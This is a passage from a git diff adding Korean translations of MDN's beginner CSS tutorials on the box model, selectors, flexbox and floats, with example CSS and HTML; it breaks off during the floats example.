여러분이 padding를 추가해 링크에 적중 영역을 확대하길 원하는 경우 이것이 유용할 수 있습니다. <a><span>처럼 인라인 요소입니다. 여러분은 해당 요소에 display: inline-block을 사용해 패딩을 설정할 수 있으므로 사용자가 링크를 클릭할 수 있습니다.

+ +

탐색 (메뉴)모음에서 꽤 자주 사용되는 것을 볼겁니다. 아래 탐색 모음은 가변상자를 사용해 행으로 표시되었으며, <a>를 마우스로 가리킬 때 background-color를 변경할 수 있도록 <a> 요소에 패딩 추기했습니다. 패딩은 <ul> 요소의 테두리와 겹치는 것처럼 보입니다. 그렇게 된 까닭은 <a>가 인라인 요소이기 때문입니다.

+ +

.links-list a 선택기에 딸린 규칙에 display: inline-block를 추가하면, 다른 요소에 의한 패딩이 존중되므로 여러분은 이(겹치는) 문제가 해결되는 것을 보게될 것입니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}}

+ +

요약정리

+ +

박스 모델에 대해 이해해야 할 내용의 대부분입니다. 상자들이 조판에 어떻게 포함된 것인지 혼란스러워지면, 향후 여러분은 이번 단원을 다시 찾게을 수 있습니다.

+ +

다음 단원에서는 배경과 테두리를 사용하여 평범한 보이는 상자를 더욱 흥미롭게 보이려면 어떤 방법이 있는지 살펴보겠습니다.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}

+ +

이번 단위에는

+ +
    +
  1. 계단식 나열과 상속
  2. +
  3. 씨에스에스 선택기 + +
  4. +
  5. 상자 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 서로 다른 텍스트 방향 처리
  10. +
  11. 대열이탈 콘텐츠
  12. +
  13. 속성값과 단위
  14. +
  15. 씨에스에스 항목 크기 설정
  16. +
  17. 이미지와 미디아, 양식 요소
  18. +
  19. 테이블 스타일링
  20. +
  21. 씨에스에스 디버깅
  22. +
  23. 씨에스에스 체계화
  24. +
diff --git "a/files/ko/learn/css/building_blocks/\354\204\240\355\203\235\354\236\220/index.html" "b/files/ko/learn/css/building_blocks/\354\204\240\355\203\235\354\236\220/index.html" new file mode 100644 index 0000000000..7674063921 --- /dev/null +++ "b/files/ko/learn/css/building_blocks/\354\204\240\355\203\235\354\236\220/index.html" @@ -0,0 +1,223 @@ +--- +title: CSS 선택자 +slug: Learn/CSS/Building_blocks/선택자 +translation_of: Learn/CSS/Building_blocks/Selectors +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}
+ +

{{Glossary("CSS")}} 에서, 선택자는 스타일을 지정할 웹 페이지의 {{glossary("HTML")}} 요소를 대상으로 하는 데 사용됩니다. 사용 가능한 다양한 CSS 선택자가 있으며, 스타일을 지정할 요소를 선택할 때 세밀한 정밀도를 허용합니다. 이 기사와 하위 기사에서는 다양한 유형을 자세히 살펴보고 작동 방식을 살펴보겠습니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식, HTML 기본 사항 (HTML 소개 학습) 및 CSS 작동 방식에 대한 이해 (CSS 첫 단계 학습)
목적:CSS 선태자 작동 방식에 대해 자세히 알아보기.
+ +

선택자란 무엇인가?

+ +

이미 선택자 (selector) 를 만났습니다. CSS 선택자는 CSS 규칙의 첫 부분입니다. 규칙 내의 CSS 속성값을 적용하기 위해 어떤 HTML 요소를 선택해야 하는지 브라우저에 알려주는 요소 및 기타 용어의 패턴입니다. 선택자에 의해 선택된 요소들은 선택자의 주제(subject) 로 지칭됩니다.

+ +

Some code with the h1 highlighted.

+ +

이전 기사에서는 몇 가지 다른 선택자를 만났으며 — 예를 들어 h1 과 같은 요소 또는 .special 과 같은 class 를 선택하는 등 다양한 방법으로 문서를 대상으로 하는 선택자가 있다는 것을 배웠습니다.

+ +

CSS 에서, 선택자는 CSS 선택자 사양에 정의되어 있습니다. CSS 의 다른 부분과 마찬가지로 작동하려면, 브라우저에서 지원해야합니다. 당신이 보게 될 대부분의 선택자는 Level 3 선택자 사양 에 정의되어 있으므로, 이러한 선택자에 대한 훌륭한 브라우저 지원을 찾을 수 있습니다.

+ +

선택자 목록

+ +

동일한 CSS 를 사용하는 항목이 두 개 이상인 경우 규칙이 모든 개별 선택자에 적용되도록 개별 선택자를 선택자 목록 으로 결합할 수 있습니다. 예를 들어, h1 에 대해 동일한 CSS 와 special class 를 사용하면 이것을 두 개의 별도 규칙으로 작성할 수 있습니다.

+ +
h1 {
+  color: blue;
+}
+
+.special {
+  color: blue;
+} 
+ +

또한 이들 사이에 쉼표를 추가하여 선택자 목록으로 결합할 수도 있습니다.

+ +
h1, .special {
+  color: blue;
+} 
+ +

공백은 쉼표 앞뒤에 유효합니다. 각 라인이 새 라인에 있으면 선택자를 더 읽기 쉽습니다.

+ +
h1,
+.special {
+  color: blue;
+} 
+ +

아래 라이브 예제에서 동일한 선언을 가진 두 선택자를 결합 하십시오. 시각적 디스플레이는 결합 후 동일해야 합니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} 

+ +

이러한 방식으로 선택자를 그룹화할 때, 선택자가 유효하지 않은 경우 전체 규칙이 무시됩니다.

+ +

다음 예에서는, 잘못된 class 선택자 규칙이 무시되고 h1 은 여전히 스타일이 지정됩니다.

+ +
h1 {
+  color: blue;
+}
+
+..special {
+  color: blue;
+} 
+ +

그러나 결합하면, 전체 규칙이 유효하지 않은 것으로 간주되어 h1 또는 class 가 스타일 지정되지 않습니다.

+ +
h1, ..special {
+  color: blue;
+} 
+ +

선택자의 유형

+ +

선택자에는 몇 가지 그룹이 있으며, 어떤 유형의 선택자가 필요한지 알면 작업에 적합한 도구를 찾는데 도움이 됩니다. 이 기사의 하위 기사에서는 다양한 선택자 그룹을 자세히 살펴 보겠습니다.

+ +

Type, class 및 ID 선택자

+ +

이 그룹에는 <h1> 과 같은 HTML 요소를 대상으로 하는 선택자가 포함됩니다.

+ +
h1 { }
+ +

또한 class 를 대상으로 하는 선택자가 포함됩니다:

+ +
.box { }
+ +

또는 ID:

+ +
#unique { }
+ +

속성 선택자

+ +

이 선택자 그룹은 요소에 특정 속성이 있는지에 따라 요소를  선택하는 다른 방법을 제공합니다:

+ +
a[title] { }
+ +

또는 특정 값을 가진 속성의 존재 여부를 기반으로 선택하십시오:

+ +
a[href="https://example.com"] { }
+ +

Pseudo-classes 및 pseudo-elements

+ +

이 선택자 그룹에는 요소의 특정 상태를 스타일링하는 pseudo-classes 가 포함됩니다. 예를 들어 :hover pseudo-class 는 마우스 포인터에 의해 요소를 가리킬 때만 요소를 선택합니다:

+ +
a:hover { }
+ +

또한 요소 자체가 아닌 요소의 특정 부분을 선택하는 pseudo-elements 도 포함됩니다. 예를 들어, ::first-line 은 항상 <span> 이 첫 번째 형식의 라인을 감싸는 것처럼 작동하여, 요소 내부의 첫 번째 텍스트 라인 (아래의 경우 <p>) 을 선택합니다.

+ +
p::first-line { }
+ +

결합자 (Combinators)

+ +

최종 선택자 그룹은 문서 내의 요소를 대상으로 하기 위해 다른 선택자를 결합합니다. 예를 들어 다음은 자식 결합자 (>) 를 사용하여 <article> 요소의 자식인 단락을 선택합니다:

+ +
article > p { }
+ +

다음 단계

+ +

이 학습 섹션 또는 일반적으로 MDN 에서 다양한 유형의 선택자로 직접 연결되는 링크에 대해서는 아래의 선택자 참조 표를 참고하거나 type, class 및 ID 선택자 에 대해 계속해서 여행을 시작하십시오.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}

+ +

선택자 참조 표

+ +

아래 표는 사용 가능한 선택자의 개요와 이 안내서의 페이지에 대한 링크와 함께 각 유형의 선택자 사용법을 보여줍니다. 브라우저 지원 정보를 확인할 수 있는 각 선택자의 MDN 페이지에 대한 링크도 포함되어 있습니다. 이 자료를 나중에 자료에서 선택자를 찾아 보거나, CSS 를 일반적으로 실험할 때 다시 참조할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
선택자예제CSS 자습서 배우기
Type 선택자h1 {  }Type selectors
범용 선택자* {  }The universal selector
Class 선택자.box {  }Class selectors
id 선택자#unique { }ID selectors
속성 선택자a[title] {  }Attribute selectors
Pseudo-class 선택자p:first-child { }Pseudo-classes
Pseudo-element 선택자p::first-line { }Pseudo-elements
하위 결합자article pDescendant combinator
자식 결합자article > pChild combinator
인접 형제 결합자h1 + pAdjacent sibling
일반 형제 결합자h1 ~ pGeneral sibling
+ +

이번 강의에서는

+ +
    +
  1. 계단식 및 상속
  2. +
  3. CSS 선택자 + +
  4. +
  5. 박스 모델
  6. +
  7. 배경 및 테두리
  8. +
  9. 다른 텍스트 방향 처리
  10. +
  11. 콘텐츠 overflow
  12. +
  13. 값과 단위
  14. +
  15. CSS 에서 항목 크기 조정
  16. +
  17. 이미지, 미디어 및 양식 요소
  18. +
  19. 표 스타일링
  20. +
  21. CSS 디버깅
  22. +
  23. CSS 정리
  24. +
diff --git a/files/ko/learn/css/css_layout/flexbox/index.html b/files/ko/learn/css/css_layout/flexbox/index.html new file mode 100644 index 0000000000..72f5d57cf8 --- /dev/null +++ b/files/ko/learn/css/css_layout/flexbox/index.html @@ -0,0 +1,340 @@ +--- +title: Flexbox +slug: Learn/CSS/CSS_layout/Flexbox +tags: + - 문서 + - 안내서 + - 용어집 + - 초보자 + - 코딩스크립팅 + - 학습 +translation_of: Learn/CSS/CSS_layout/Flexbox +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}
+ +

flexbox는 행과 열 형태로 항목 무리를 배치하는 일차원 레이아웃 메서드입니다. 항목은 부족한 공간에 맞추기 위해 축소되거나 여분의 공간을 채우기 위해 변형된다. 이 문서는 근간이 되는 내용 전체를 설명합니다.

+ + + + + + + + + + + + +
선결 사항:HTML의 기초 (HTML 입문서)와 CSS 작동 방식에 대한 개념(CSS 입문서를 공부하세요.)
목표:웹 레이아웃을 생성하기 위해 flexbox 레이아웃 시스템을 사용하는 방법을 학습하기.
+ +

왜 flexbox인가?

+ +

오랫동안 CSS 레이아웃을 작성할 수 있는 신뢰할 수 있는 크로스 브라우저 호환 도구는 부동체위치잡기 도구였습니다. 이것들은 무난하고 작동하지만, 어떤 면에서는 되려 제한적이고 좌절감을 맞보게 합니다.

+ +

다음과 같은 간단한 레이아웃 요구 사항은 그러한 도구를 사용하여 달성하기가 어렵거나 불가능합니다. 또한, 편리하지도 유연한 방식도 못됩니다.

+ + + +

다음 섹션에서 확인하겠지만, flexbox는 많은 레이아웃 작업을 훨씬 쉽게 만들어 줍니다. 본격적으로 파헤쳐봅시다!

+ +

간단한 예제 소개

+ +

이 문서에서 우리는 여러분이 flexbox의 작동 방식을 이해하는데 도움이 되는 일련의 연습을 수행하도록 하겠습니다. 시작하려면, 첫 번째 착수 파일인 flexbox0.html을 우리의 깃허브 저장소에서 사본을 내려받기하여 최신 브라우저(Firefox 또는 Chrome 등)에서 동 파일을 열어 코드 편집기에서 코드를 살펴봐야 합니다. 당신은 그걸 시연한 실제 장면을 여기서도 볼 수 있습니다.

+ +

(편집기로 본) 소스안에 최상위 수준에 {{htmlelement("header")}} 요소와 세 개의 {{htmlelement("article")}}를 포함한 {{htmlelement("section")}} 요소가 있음을 알 수 있습니다. 우리는 이것들을 사용해 상당히 표준적인 삼단 레이아웃을 생성할 겁니다.

+ +

+ +

flexbox로 레이아웃할 요소 지정

+ +

먼저 어떤 요소들을 flexbox로 레이아웃할 요소를 선택해야 합니다. 이를 위해 영향을 주고 싶은 요소의 부모 요소에 특별한 {{cssxref("display")}} 속성값을 지정합니다. 이 경우 우리는 {{htmlelement("article")}} 요소를 레이아웃하길 원하므로 (flex container가 될) {{htmlelement("section")}}에 해당 속성값을 지정합니다:

+ +
section {
+  display: flex;
+}
+ +

그 결과는 다음과 같아야 합니다:

+ +

+ +

자. 이 단일 선언이 우리에게 필요한 모든 것을 제공합니다. 놀랍죠, 그쵸? 우리는 단의 크기가 동일한 다단 레이아웃를 갖게 되었고, 단의 높이가 모두 같습니다. 이렇게 된 까닭은 (flex container의 자식인) flex item에 주어진 기본값이 이와 같은 일반적인 문제를 해결하도록 설정되었기 때문입니다. 관련 내용은 나중에 추가합니다.

+ +
+

참고: 인라인 항목을 flexbox로 취급해 레이아웃하길 희망한다면 {{cssxref("display")}} 속성값을 inline-flex로 지정할 수도 있습니다.

+
+ +

flex 모델의 측방

+ +

요소들을 flexbox로 레이아웃될 때 그 상자들은 두 개의 축을 따라 배치됩니다.

+ +

flex_terms.png

+ + + +

후속 절을 진행할 때 이러한 용어를 명심하길 바랍니다. 사용 중인 어떤 용어에 대해 혼란스러워지면 언제든지 다시 참조할 수 있습니다.

+ +

행 또는 열?

+ +

flexbox는 기본 축이 진행되는 방향(자식 flexbox들이 컨테이너 내부에 배치되는 방향)을 지정하는 {{cssxref("flex-direction")}} 속성을 제공합니다. 기본값으로 이것은 row로 설정되어 브라우저의 기본 언어가 작동하는 방향(영어 브라우저의 경우 왼쪽에서 오른쪽)을 따라 일렬로 배치됩니다.

+ +

다음 선언문을 {{htmlelement("section")}} 규칙에 추가하세요:

+ +
flex-direction: column;
+ +

이로써 항목 무리를 열 레이아웃으로 되돌려 놓는걸 확인하게 된다. 해당 항목들은 어떤 내용의 CSS를 추가하기 이전 상황과 유사하다. 진도를 더 나가기 전에 동 선언문을 예제에서 삭제하십시오.

+ +
+

참고: 당신은 row-reversecolumn-reverse 속성값을 사용하여 역방향으로 배치할 수 있습니다. 이들 값으로도 실험해보십시요!

+
+ +

접기

+ +

당신의 레이아웃에 너비 또는 높이가 고정 크기를 갖고 있어 생기는 한 가지 문제는 결국 flexbox 자식 요소가 컨테이너에서 대열이탈하면서 레이아웃이 깨진다는 것입니다. 우리가 제시하는 flexbox-wrap0.html 예제를 확인하고 난 뒤 라이브 보기를 시도하세요(이 예제를 따라해보고 싶다면 이제 이 파일의 사본을 내려받으세요):

+ +

+ +

여기서 우리는 자식들이 정말로 소속 컨테이너에서 이탈하는 모습을 확인할 수 있습니다. 이것을 해소할 수 있는 한 가지 방법은 다음 선언을 {{htmlelement("section")}} 규칙 부분에 추가하면 됩니다:

+ +
flex-wrap: wrap;
+ +

또한, 디음 선언문을 {{htmlelement("article")}} 규칙 부분에 추가해보세요:

+ +
flex: 200px;
+ +

지금 시도해보십시오. 동 규칙이 포함된 상태에선 레이아웃 모양이 개선되는 걸 보게 됩겁니다:

+ +

우리는 이제 여러 행을 갖게 되었다. 많은 flexbox 자녀들이 합당하다 싶게 각 행마다 (분배되어) 알맞게 맞춰졌습니다. 대열이탈된 것들은 다음 행으로 넘어갑니다. 아티클 요소에 flex: 200px 선언이 지정되었다는 의미는 각 요소에 적어도 200px 너비가 지정되었다는 의미이다. 우리는 나중에 이 속성에 대해 더 자세히 논의할 겁니다. 마지막 행에 있는 마지막 몇몇 자식들의 각 너비가 더 연장되면서 전체 행이 마찬가지로 채워진 것을 볼 수 있습니다.

+ +

하지만 할 수 있는 게 더 있습니다. 우선, {{cssxref("flex-direction")}} 속성값을 row-reverse로 변경해 보십시오. 이제 여러 행 레이아웃을 보유한 것은 마찬가지지만, 브라우저 창의 반대쪽 구석에서 시작하여 역방향 대열이 된 것이 확인될 겁니다.

+ +

flex-flow 약칭

+ +

이 시점에서 {{cssxref("flex-direction")}}와 {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}를 대신하는 약칭이 존재한다는 점을 언급할 가치가 있다. 예를 들어, 여러분은 다음을

+ +
flex-direction: row;
+flex-wrap: wrap;
+ +

다음으로 대체할 수 있다.

+ +
flex-flow: row wrap;
+ +

flex item의 flex 크기 조정

+ +

이제 첫 번째 예제로 복귀해서, 우리가 어떻게 flex item의 비율을 조절할 수 있는지 살펴봅시다. flexbox0.html사본을 브라우저 탭으로 열거나 flexbox1.html 사본을 새로운 출발점으로 삼으세요.(라이브 참조).

+ +

첫째, 당신의 CSS 파일 하단에 다음 규칙을 추가하십시오:

+ +
article {
+  flex: 1;
+}
+ +

이것은 각 flex item이 기본 축을 따라 남은 공간을 어느 정도나 점유할지를 결정하는 단위가 없는 비율 값입니다. 이 경우, 우리는 각각의 {{htmlelement("article")}} 요소에 1의 값을 부여하고 있는데, 이는 패딩과 여백이 지정된 이후 남은 여분의 공간을 모두 동등한 크기로 점유하게 된다는 의미입니다. 그것은 비율이며, 각 flex item에 400000의 값을 부여하면 정확히 동일한 효과가 있음을 의미합니다.

+ +

이제 이전 규칙 아래에 다음 규칙을 추가합시다.

+ +
article:nth-of-type(3) {
+  flex: 2;
+}
+ +

이제 새로 고침할 때, 세 번째 {{htmlelement("article")}}이 다른 두 개보다 사용 가능한 너비의 두 배나 많이 점유한다는 것을 알 수 있습니다. 말하자면 현재 총 4개의 비례 단위가 있는 겁니다. 처음 두 개의 flex item은 각각 하나로 구분되어 사용 가능한 공간의 1/4을 차지합니다. 세 번째 것은 두 개의 단위(2배율)를 차지하기 때문에 사용 가능한 공간의 2/4를 점유합니다(또는 1/2).

+ +

또한 flex 값 내에서 최소 크기 값을 지정할 수 있습니다. 다음과 같이 문서 부분의 기존 규칙을 업데이트해 보십시오.

+ +
article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 2 200px;
+}
+ +

이것은 기본적으로 "각 flex item은 먼저 사용 가능한 공간에서 200px를 부여받습니다. 그 후, 나머지 사용 가능한 공간은 비례 단위에 따라 분배됩니다." 새로 고침을 해보면 공간 배분 방식이 달라진 것이 확인될 겁니다.

+ +

+ +

flexbox의 실제 값은 flex성/반응성에 포함되어 있다고 볼 수 있습니다. 다시말해 브라우저 창의 크기를 재조정하거나 다른 {{htmlelement("article")}} 요소를 추가하더라도 레이아웃이 계속 정상적으로 작동합니다.

+ +

flex: 약칭 對 정식 명칭

+ +

{{cssxref("flex")}} 최대 세 가지 서로 다른 값을 지정할 수 있는 약칭 속성입니다.

+ + + +

우리는 꼭 사용해야 할 경우가 아니라면(예를 들어, 이전 설정을 재정의하는 등) flex 속성에 정식 명칭을 사용하지 말라고 권고합니다. 정식 명칭의 사용은 추가 코드 작성이 많아 질뿐만 아니라 다소 혼란스러울 수도 있습니다.

+ +

수평 및 수직 정렬

+ +

또한 flexbox 기능을 사용하여 기본 축 또는 교차축을 따라 flex item을 정렬할수 있습니다. 이 기능은 새로운 예제인 flex-align0.html을 통해 살펴보자(라이브로도 보세요). flexbox가 우리는 깔끔한 flex형 단추/툴바로 바뀌게될 겁니다. 지금 당장은 몇몇 단추들이 왼쪽 상단 모서리에 몰린 상태의 수평 메뉴 표시줄이 보입니다.

+ +

+ +

우선 이 예제의 사본을 취득합니다.

+ +

이제 예제의 CSS의 맨 아래에 다음 내용을 추가하세요:

+ +
div {
+  display: flex;
+  align-items: center;
+  justify-content: space-around;
+}
+ +

페이지를 새로 고치면 단추가 수평 및 수직으로 중심이 잘 맞춰져 있음을 알 수 있습니다. 우리는 두 가지 새로운 속성을 통해 이 작업을 수행했습니다.

+ +

{{cssxref("align-items")}} 속성은 flex item이 교차축 어디에 놓일 지를 제어합니다.

+ + + +

{{cssxref("align-self")}} 속성을 단추에 적용함으로써 flex item에 속한 개별 항목에 대한 {{cssxref("align-items")}}동작을 재지정할 수 있습니다. 예를 들어 다음을 CSS에 추가해보세요:

+ +
button:first-child {
+  align-self: flex-end;
+}
+ +

이것이 어떤 효과를 미치는지 한번 보고, 다 보았다면 다시 제거하세요.

+ +

{{cssxref("justify-content")}}는 flex item 무리가 기본 축 상 어디에 놓이는지를 제어합니다.

+ + + +

우리는 진도를 더 나가기 전에 여러분이 이들 값을 가지고 어떻게 작동하는지 시험해보라고 권장하고 싶습니다.

+ +

flex item 순서 정하기

+ +

flexbox에는 소스 순서에 영향을 미치지 않고 flex item의 레이아웃 순서를 변경하는 기능도 있습니다. 이는 전통적인 레이아웃 메서드로는 불가능했던 내용입니다.

+ +

이를 위한 코드는 간단합니다: 당신의 단추표시줄 예제 코도에 다음과 같은 CSS를 추가해 보십시요:

+ +
button:first-child {
+  order: 1;
+}
+ +

페이지를 새로 고치면 이제 "스마일" 단추가 기본 축의 끝으로 이동한 것이 확인될 겁니다. 어떻게 이런 식으로 작동하는지 좀 더 상세히 얘기해 보겠습니다:

+ + + +

당신은 0 지정 항목보다 일찍 항목을 표시하도록 음수 순서 값을 설정할 수 있습니다. 예를 들어, 다음 규칙을 사용하여 "Blush" 단추를 기본 축의 시작 부분에 표시할 수 있습니다:

+ +
button:last-child {
+  order: -1;
+}
+ +

중첩된 flexbox box

+ +

flexbox를 사용하여 꽤 복잡한 레이아웃을 만들 수 있습니다. flex item을 flex container로 설정해도 전혀 문제없습니다. 그렇게 되면 그 컨테이너의 자녀가 flexbox처럼 배치됩니다. complex-flexbox.html를 찾아보세요. (라이브로도 보세요).

+ +

+ +

이를 위한 HTML은 상당히 간단합니다. 세 개의 {{htmlelement("article")}}를 포함하는 {{htmlelement("section")}} 요소가 있습니다. 세 번째 {{htmlelement("article")}}은 세 개의 {{htmlelement("div")}}를 포함하고 있습니다. :

+ +
section - article
+          article
+          article - div - button
+                    div   button
+                    div   button
+                          button
+                          button
+ +

앞의 레이아웃에 사용했던 코드를 살펴봅시다.

+ +

먼저 {{htmlelement("section")}}의 자식들을 flexbox로 취급해 배치하였습니다.

+ +
section {
+  display: flex;
+}
+ +

다음으로 {{htmlelement("article")}} 무리 자체에 대해 약간의 flex 값을 설정하였습니다. 여기서 두 번째 규칙에 주목하십시오. 우리는 세 번째 {{htmlelement("article")}}이 자기 자식들을 flex item처럼 배치하도록 설정하고 있습니다. 그러나 이번에는 열처럼 배치하고 있습니다.

+ +
article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 3 200px;
+  display: flex;
+  flex-flow: column;
+}
+
+ +

다음으로 첫 번째 {{htmlelement("div")}}를 선택합니다. 우리는 먼저 선택된 요소에 100px의 최소 높이를 효과적으로 주기 위해 flex:1 100px;을 사용합니다. 그리고 나서 우리는 그것의 자식들을 ({{htmlelement("button")}} 요소 무리를) flex item처럼 배치하도록 설정했습니다. 여기서 우리는 그것들을 줄 바꿈 행에 배치하고, 우리가 앞서 본 개별 단추 예제에서 했던 것처럼 사용 가능한 공간의 중심에 정렬합니다.

+ +
article:nth-of-type(3) div:first-child {
+  flex:1 100px;
+  display: flex;
+  flex-flow: row wrap;
+  align-items: center;
+  justify-content: space-around;
+}
+ +

마지막으로, 우리는 단추에 약간의 크기를 설정하되, 다소 흥미롭게도 1 auto라는 flex 값을 부여합니다. 이것은 매우 흥미로운 효과를 지니게 되는데, 브라우저 창의 폭을 조정해 보면 확인됩니다. 단추는 최대한의 공간을 점유할 뿐만아니라 동일 선상에 가능한 한 많은 요소를 놓으려고 합니다. 그러나 해당 요소들이 더 이상 동일 선상에 안착할 수 없을 경우 새로운 라인으로 밀려납니다.

+ +
button {
+  flex: 1 auto;
+  margin: 5px;
+  font-size: 18px;
+  line-height: 1.5;
+}
+ +

크로스 브라우저 호환성

+ +

flexbox 지원은 파이어폭스, 크롬, 오페라, 마이크로소프트 에지 및 인터넷 익스플로러 11, 안드로이드 및 iOS 최신 버전 등 대부분의 신형 브라우저에서 사용할 수 있습니다. 그러나 flexbox를 지원하지 않는 (또는 지원하지만, 실제로 구식 버전의 flexbox를 지원하는) 구형 브라우저 사용자가 여전히 존재한다는 것을 알아야 합니다.

+ +

여러분이 단지 기술을 익히고 실험할 뿐이라면 호환성 문제는 그다지 중요하지 않습니다; 그러나 만약 여러분이 실제 웹사이트에서 flexbox의 사용을 고려하고 있다면, 여러분은 (구형 브라우저에서) 테스트를 수행해야 하고, 최대한 다양한 브라우저 사용자들이 수용할만한 사이트 방문 경험을 보장할 필요가 있습니다.

+ +

flexbox는 몇몇 CSS 기능보다 다소 까다롭습니다. 예를 들어 브라우저에 CSS 그림자 기능이 빠진 경우 해당 사이트을 여전히 사용할 수 있습니다. 그러나 flexbox 기능을 지원하지 않을 경우 레이아웃이 완전히 깨져서 사용할 수 없게 됩니다.

+ +

크로스 브라우저 테스트 단원에서 크로스 브라우저 지원 문제를 극복하기 위한 전략에 대해 논의합니다.

+ +

요약정리

+ +

이로써 flexbox의 기본 안내서를 마감합니다. 재미있는 경험이었기 바라며, 당신이 학습 진도를 더해 갈수록 flexbox를 자유자제로 다룰 수 있게 될 겁니다. 다음으로 CSS 레이아웃의 또 다른 중요한 측면인 CSS grid를 살펴볼 것입니다.

+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}
+ +
+

이번 단위에는

+ + +
diff --git a/files/ko/learn/css/css_layout/floats/index.html b/files/ko/learn/css/css_layout/floats/index.html new file mode 100644 index 0000000000..0ee594b2eb --- /dev/null +++ b/files/ko/learn/css/css_layout/floats/index.html @@ -0,0 +1,517 @@ +--- +title: Floats +slug: Learn/CSS/CSS_layout/Floats +tags: + - 다단 + - 안내서 + - 정리 + - 초보자 + - 코딩스크립팅 +translation_of: Learn/CSS/CSS_layout/Floats +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}
+ +

원래 텍스트 블록 내에서 float 이미지를 위한 {{cssxref("float")}} 속성은 웹 페이지에서 다단 레이아웃을 생성할 용도로 가장 널리 사용되는 도구 중 하나로 자리매김했었습니다. flexbox와 grid의 출현과 함께 float 속성은 이 문서에서 설명하겠지만, 원래의 목적대로 돌아갔습니다.

+ + + + + + + + + + + + +
선결 사항:HTML의 기초 (HTML 입문서)와 CSS 작동 방식에 대한 개념(CSS 입문서를 공부하세요.)
목표:웹페이지상에 float 기능을 생성하는 방법과 clear 속성과 floats clearing 을 배웁니다.
+ +

floats의 배경

+ +

float 속성은 웹 개발자가 텍스트 열 내부에 float하는 이미지를 포함하고, 아울러 해당 이미지의 좌측 우측 주변으로 텍스트를 둘러싸는 간단한 레이아웃을 구현할 수 있도록 도입되었습니다. 이런 것은 신문 레이아웃에서 볼 수 있는 종류입니다.

+ +

그러나 웹 개발자들은 이미지뿐만 아니라 무엇이든 float할 수 있음을 빠르게 깨달았고, 그래서 floats 사용이 확대되었습니다. 앞서 살펴본 고급 단락 예제는 재미있는 드롭캡 효과를 생성하는 데 floats를 어떻게 사용할 수 있는지를 보여줍니다.

+ +

floats는 일반적으로 상대 요소와 나란히 놓이도록 float(浮動)하는 다단 정보를 갖춘 웹 사이트의 전체 레이아웃을 만들는데 널리 사용되어 왔다(기본 행동은 다단 무리가 소스에서 보이는 순서와 같은 순서대로 상대 요소 아래에 자리잡기하는 것이다). 더 새롭고 더 나은 레이아웃 기술이 나와있으므로 이러한 방식으로 floats를 사용하는 것은 낡은 기술로 간주되어야 합니다.

+ +

이 문서에서는 floats의 적절한 용도에 집중할 것입니다.

+ +

간단한 float 예제

+ +

floats를 어떻게 사용하는지 알아보자. 우리는 요소 주위에 텍스트 블록을 float하는 것이 포함된 아주 간단한 예제로 시작할 것입니다. 아래 내용을 따라하려면 당신의 컴퓨터에 index.html 파일을 새로 작성하여, 거기에 간단한 HTML 템플릿으로 채우고, 파일 내부의 적절한 위치에 아래 코드를 삽입하면 됩니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.

+ +

첫째, 간단한 HTML로 시작하겠습니다. HTML body 부분에 다음 내용을 추가하고, body 안에 있었던 모든 내용을 제거합니다.

+ +
<h1>간단한 float 예제</h1>
+
+<div class="box">float</div>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. </p>
+
+<p>Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+ +

이제 다음 CSS를 HTML에 적용하십시요.({{htmlelement("style")}} 요소를 사용할지 개별 .css 파일에 대한 {{htmlelement("link")}}를 사용할지는 당신의 선택 여하에 달려있습니다.):

+ +
body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.box {
+  width: 150px;
+  height: 100px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+ +

